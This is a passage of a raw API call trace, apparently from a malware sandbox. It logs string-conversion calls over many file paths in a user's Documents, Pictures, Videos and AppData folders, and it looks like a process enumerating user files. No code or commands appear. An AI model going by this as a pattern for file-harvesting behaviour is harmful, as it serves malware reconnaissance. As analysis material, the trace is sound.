lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Hr58A4aaHM.odsn0jS%20HALPmcxz/AppData/Roaming/Hr58A4aaHM.ods", lpUsedDefaultChar=0x0) returned 70 [0074.678] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2320c48, cbMultiByte=70, lpWideCharStr=0x2320d4c, cchWideChar=141 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Hr58A4aaHM.ods԰ȲොȲොȲĤ") returned 70 [0074.678] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/gsjZHHkpLbVJkW1Clgz.jpg", cchWideChar=72, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/gsjZHHkpLbVJkW1Clgz.jpgjS%20HALPmcxz/Pictures/gsjZHHkpLbVJkW1Clgz.jpg", lpUsedDefaultChar=0x0) returned 72 [0074.678] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x39869c8, cbMultiByte=72, lpWideCharStr=0x2320de0, cchWideChar=145 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/gsjZHHkpLbVJkW1Clgz.jpg屜Θ๴Ȳ๴Ȳ\x8c") returned 72 [0074.678] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/18tCh2fbWO9uqJ4SH0r/gLb9EGvUD/7rSet.csv", cchWideChar=94, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/18tCh2fbWO9uqJ4SH0r/gLb9EGvUD/7rSet.csvs/yiub/18tCh2fbWO9uqJ4SH0r/gLb9EGvUD/7rSet.csv", lpUsedDefaultChar=0x0) returned 94 [0074.679] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x23222ac, cbMultiByte=94, lpWideCharStr=0x2322ad4, cchWideChar=189 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/18tCh2fbWO9uqJ4SH0r/gLb9EGvUD/7rSet.csv畄ђ⮔Ȳ⮔ȲĔ") returned 94 [0074.679] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/Kv9O7qYcn-HRyPYLby.xls", cchWideChar=77, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/Kv9O7qYcn-HRyPYLby.xlsHALPmcxz/Documents/yiub/Kv9O7qYcn-HRyPYLby.xls", lpUsedDefaultChar=0x0) returned 77 [0074.679] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452bf5c, cbMultiByte=77, lpWideCharStr=0x2322b98, cchWideChar=155 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/Kv9O7qYcn-HRyPYLby.xlsȲ<Ȳ<Ȳt") returned 77 [0074.679] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/c9bdd6Fy9R2i0LIdNVF1.doc", cchWideChar=72, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/c9bdd6Fy9R2i0LIdNVF1.docjS%20HALPmcxz/Desktop/c9bdd6Fy9R2i0LIdNVF1.doc", lpUsedDefaultChar=0x0) returned 72 [0074.679] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x39869c8, cbMultiByte=72, lpWideCharStr=0x2322d3c, cchWideChar=145 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/c9bdd6Fy9R2i0LIdNVF1.doc⭼ΘⷐȲⷐȲň") returned 72 [0074.679] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/IBNXL3TRBVFr5.mkv", cchWideChar=73, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/IBNXL3TRBVFr5.mkvS%20HALPmcxz/AppData/Roaming/IBNXL3TRBVFr5.mkv", lpUsedDefaultChar=0x0) returned 73 [0074.679] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x39865c8, cbMultiByte=73, lpWideCharStr=0x2322dd4, cchWideChar=147 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/IBNXL3TRBVFr5.mkvȲ⹨Ȳ⹨Ȳ°") returned 73 [0074.679] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/JI_LbGFKzAkfRhFEM/xgFCgANlk.bmp", cchWideChar=95, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/JI_LbGFKzAkfRhFEM/xgFCgANlk.bmpLlZj-da3Lc0SAD/JI_LbGFKzAkfRhFEM/xgFCgANlk.bmp", lpUsedDefaultChar=0x0) returned 95 [0074.679] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x23222ac, cbMultiByte=95, lpWideCharStr=0x3985e58, cchWideChar=191 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/JI_LbGFKzAkfRhFEM/xgFCgANlk.bmpΘ弘Θ弘ΘĬ") returned 95 [0074.679] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/3ymkgwpUkCk/Pmee/O57pDGQlUBqcEPgoi.mkv", cchWideChar=85, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/3ymkgwpUkCk/Pmee/O57pDGQlUBqcEPgoi.mkv/Videos/3ymkgwpUkCk/Pmee/O57pDGQlUBqcEPgoi.mkv", lpUsedDefaultChar=0x0) returned 85 [0074.679] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526d0c, cbMultiByte=85, lpWideCharStr=0x2322e6c, cchWideChar=171 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/3ymkgwpUkCk/Pmee/O57pDGQlUBqcEPgoi.mkv") returned 85 [0074.679] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZM1YvnX6BDzLLQ_/2qASZGVP1ayqj/6%20XGwY-lUt_VoBNPc3ul.csv", cchWideChar=112, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZM1YvnX6BDzLLQ_/2qASZGVP1ayqj/6%20XGwY-lUt_VoBNPc3ul.csvzLLQ_/2qASZGVP1ayqj/6%20XGwY-lUt_VoBNPc3ul.csv", lpUsedDefaultChar=0x0) returned 112 [0074.680] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2320e80, cbMultiByte=112, lpWideCharStr=0x3985f1c, cchWideChar=225 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZM1YvnX6BDzLLQ_/2qASZGVP1ayqj/6%20XGwY-lUt_VoBNPc3ul.csv汸硳怀Θ怀ΘD") returned 112 [0074.680] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/T-5.mkv", cchWideChar=55, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/T-5.mkv:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/T-5.mkv", lpUsedDefaultChar=0x0) returned 55 [0074.680] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x398600c, cbMultiByte=55, lpWideCharStr=0x2320040, cchWideChar=111 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/T-5.mkv") returned 55 [0074.680] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/18tCh2fbWO9uqJ4SH0r/953NwS%20YORsJs8ezCX.ppt", cchWideChar=99, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/18tCh2fbWO9uqJ4SH0r/953NwS%20YORsJs8ezCX.pptb/18tCh2fbWO9uqJ4SH0r/953NwS%20YORsJs8ezCX.ppt", lpUsedDefaultChar=0x0) returned 99 [0074.680] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526d0c, cbMultiByte=99, lpWideCharStr=0x3986240, cchWideChar=199 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/18tCh2fbWO9uqJ4SH0r/953NwS%20YORsJs8ezCX.pptђ挈Θ挈Θļ") returned 99 [0074.680] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/o5D3Phk7JF5o4RP.xls", cchWideChar=74, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/o5D3Phk7JF5o4RP.xls%20HALPmcxz/Documents/yiub/o5D3Phk7JF5o4RP.xls", lpUsedDefaultChar=0x0) returned 74 [0074.680] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x39869c8, cbMultiByte=74, lpWideCharStr=0x398630c, cchWideChar=149 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/o5D3Phk7JF5o4RP.xls楦敬掤Θ掤Θ ") returned 74 [0074.680] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/5zH-zIr1.jpg", cchWideChar=60, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/5zH-zIr1.jpgrs/5p5NrGJn0jS%20HALPmcxz/Desktop/5zH-zIr1.jpg", lpUsedDefaultChar=0x0) returned 60 [0074.680] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3986e90, cbMultiByte=60, lpWideCharStr=0x2320e78, cchWideChar=121 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/5zH-zIr1.jpg") returned 60 [0074.680] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/njXXDQ38ulMrkg_7vJ/BTq8-J4.png", cchWideChar=94, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/njXXDQ38ulMrkg_7vJ/BTq8-J4.png/LlZj-da3Lc0SAD/njXXDQ38ulMrkg_7vJ/BTq8-J4.png", lpUsedDefaultChar=0x0) returned 94 [0074.680] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x23222ac, cbMultiByte=94, lpWideCharStr=0x2322398, cchWideChar=189 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/njXXDQ38ulMrkg_7vJ/BTq8-J4.png៌Ȳ⑘Ȳ⑘Ȳƈ") returned 94 [0074.680] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZYI0v6_buDm-d9O.odp", cchWideChar=75, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZYI0v6_buDm-d9O.odp20HALPmcxz/Documents/yiub/FZYI0v6_buDm-d9O.odp", lpUsedDefaultChar=0x0) returned 75 [0074.680] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x39869c8, cbMultiByte=75, lpWideCharStr=0x39863a8, cchWideChar=151 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZYI0v6_buDm-d9O.odpђ ") returned 75 [0074.681] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/flxbNwcWgV0n4kR.flv", cchWideChar=66, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/flxbNwcWgV0n4kR.flvNrGJn0jS%20HALPmcxz/Videos/flxbNwcWgV0n4kR.flv", lpUsedDefaultChar=0x0) returned 66 [0074.681] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452be4c, cbMultiByte=66, lpWideCharStr=0x232245c, cchWideChar=133 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/flxbNwcWgV0n4kR.flvŐ") returned 66 [0074.681] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/pty5yFAIeFtI0nYC_b.odp", cchWideChar=77, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/pty5yFAIeFtI0nYC_b.odpHALPmcxz/Documents/yiub/pty5yFAIeFtI0nYC_b.odp", lpUsedDefaultChar=0x0) returned 77 [0074.681] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452bf5c, cbMultiByte=77, lpWideCharStr=0x23224e8, cchWideChar=155 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/pty5yFAIeFtI0nYC_b.odpȲ▄Ȳ▄Ȳ\\") returned 77 [0074.681] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/kC1ICfT8pFYQG/IlZLf8gCsW02mWS.png", cchWideChar=97, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/kC1ICfT8pFYQG/IlZLf8gCsW02mWS.pngZj-da3Lc0SAD/kC1ICfT8pFYQG/IlZLf8gCsW02mWS.png", lpUsedDefaultChar=0x0) returned 97 [0074.681] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526d0c, cbMultiByte=97, lpWideCharStr=0x2320f90, cchWideChar=195 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/kC1ICfT8pFYQG/IlZLf8gCsW02mWS.png唯ၔȲၔȲƌ") returned 97 [0074.681] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/18tCh2fbWO9uqJ4SH0r/gLb9EGvUD/gx-9m.odt", cchWideChar=94, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/18tCh2fbWO9uqJ4SH0r/gLb9EGvUD/gx-9m.odts/yiub/18tCh2fbWO9uqJ4SH0r/gLb9EGvUD/gx-9m.odt", lpUsedDefaultChar=0x0) returned 94 [0074.681] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x23222ac, cbMultiByte=94, lpWideCharStr=0x2321058, cchWideChar=189 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/18tCh2fbWO9uqJ4SH0r/gLb9EGvUD/gx-9m.odt樘ΘᄘȲᄘȲÈ") returned 94 [0074.681] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/QRZRxkH5oTlCYK.csv", cchWideChar=86, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/QRZRxkH5oTlCYK.csvDocuments/yiub/ZHL2s_-N8agn/QRZRxkH5oTlCYK.csv", lpUsedDefaultChar=0x0) returned 86 [0074.681] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526d0c, cbMultiByte=86, lpWideCharStr=0x232111c, cchWideChar=173 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/QRZRxkH5oTlCYK.csv╡〲ᇌȲᇌȲ\x14") returned 86 [0074.681] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/xLckuuDeKXG/Q3tTjFbyLkyl/ch1D7KyT.ppt", cchWideChar=85, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/xLckuuDeKXG/Q3tTjFbyLkyl/ch1D7KyT.ppt/Desktop/xLckuuDeKXG/Q3tTjFbyLkyl/ch1D7KyT.ppt", lpUsedDefaultChar=0x0) returned 85 [0074.682] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x23222ac, cbMultiByte=85, lpWideCharStr=0x3983730, cchWideChar=171 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/xLckuuDeKXG/Q3tTjFbyLkyl/ch1D7KyT.ppt") returned 85 [0074.682] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZM1YvnX6BDzLLQ_/2qASZGVP1ayqj/mWTdUCHrEprNZbw4.ppt", cchWideChar=106, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZM1YvnX6BDzLLQ_/2qASZGVP1ayqj/mWTdUCHrEprNZbw4.pptvnX6BDzLLQ_/2qASZGVP1ayqj/mWTdUCHrEprNZbw4.ppt", lpUsedDefaultChar=0x0) returned 106 [0074.682] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x232299c, cbMultiByte=106, lpWideCharStr=0x39837e0, cchWideChar=213 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZM1YvnX6BDzLLQ_/2qASZGVP1ayqj/mWTdUCHrEprNZbw4.ppt") returned 106 [0074.682] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/xLckuuDeKXG/Q3tTjFbyLkyl/lAFKNLNIoK0mzGu/_gU8s-ivYxTsofJE/AY5wVsgvxZG.mkv", cchWideChar=121, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/xLckuuDeKXG/Q3tTjFbyLkyl/lAFKNLNIoK0mzGu/_gU8s-ivYxTsofJE/AY5wVsgvxZG.mkv", lpUsedDefaultChar=0x0) returned 121 [0074.682] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x39838c4, cbMultiByte=121, lpWideCharStr=0x3983944, cchWideChar=243 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/xLckuuDeKXG/Q3tTjFbyLkyl/lAFKNLNIoK0mzGu/_gU8s-ivYxTsofJE/AY5wVsgvxZG.mkv") returned 121 [0074.682] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/Pgl1JgetxAYIiS/stmz_Vxkz.docx", cchWideChar=97, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/Pgl1JgetxAYIiS/stmz_Vxkz.docxiub/ZHL2s_-N8agn/Pgl1JgetxAYIiS/stmz_Vxkz.docx", lpUsedDefaultChar=0x0) returned 97 [0074.682] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526d0c, cbMultiByte=97, lpWideCharStr=0x3983a3c, cchWideChar=195 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/Pgl1JgetxAYIiS/stmz_Vxkz.docx") returned 97 [0074.682] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/-p4ffBCma.pptx", cchWideChar=64, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/-p4ffBCma.pptxp5NrGJn0jS%20HALPmcxz/Documents/-p4ffBCma.pptx", lpUsedDefaultChar=0x0) returned 64 [0074.682] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452be4c, cbMultiByte=64, lpWideCharStr=0x39838bc, cchWideChar=129 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/-p4ffBCma.pptx\x88") returned 64 [0074.682] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZM1YvnX6BDzLLQ_/hHu6n-WhXpQLeR.ods", cchWideChar=90, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZM1YvnX6BDzLLQ_/hHu6n-WhXpQLeR.odsments/yiub/FZM1YvnX6BDzLLQ_/hHu6n-WhXpQLeR.ods", lpUsedDefaultChar=0x0) returned 90 [0074.682] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x23222ac, cbMultiByte=90, lpWideCharStr=0x3983b04, cchWideChar=181 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZM1YvnX6BDzLLQ_/hHu6n-WhXpQLeR.ods") returned 90 [0074.682] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/vSXldiBh-2ZYi7D.pptx", cchWideChar=76, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/vSXldiBh-2ZYi7D.pptx0HALPmcxz/AppData/Roaming/vSXldiBh-2ZYi7D.pptx", lpUsedDefaultChar=0x0) returned 76 [0074.683] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2322590, cbMultiByte=76, lpWideCharStr=0x3983bc0, cchWideChar=153 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/vSXldiBh-2ZYi7D.pptx") returned 76 [0074.683] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/JI_LbGFKzAkfRhFEM/K-bFjS1F.png", cchWideChar=94, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/JI_LbGFKzAkfRhFEM/K-bFjS1F.png/LlZj-da3Lc0SAD/JI_LbGFKzAkfRhFEM/K-bFjS1F.png", lpUsedDefaultChar=0x0) returned 94 [0074.683] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x23222ac, cbMultiByte=94, lpWideCharStr=0x3983c60, cchWideChar=189 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/JI_LbGFKzAkfRhFEM/K-bFjS1F.png") returned 94 [0074.683] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/bbdArE-i.docx", cchWideChar=69, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/bbdArE-i.docxJn0jS%20HALPmcxz/AppData/Roaming/bbdArE-i.docx", lpUsedDefaultChar=0x0) returned 69 [0074.683] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2320c48, cbMultiByte=69, lpWideCharStr=0x3983d24, cchWideChar=139 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/bbdArE-i.docx") returned 69 [0074.683] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/kC1ICfT8pFYQG/CabPSqWIP4Gw.gif", cchWideChar=94, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/kC1ICfT8pFYQG/CabPSqWIP4Gw.gif/LlZj-da3Lc0SAD/kC1ICfT8pFYQG/CabPSqWIP4Gw.gif", lpUsedDefaultChar=0x0) returned 94 [0074.683] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x23222ac, cbMultiByte=94, lpWideCharStr=0x3983db4, cchWideChar=189 | out: 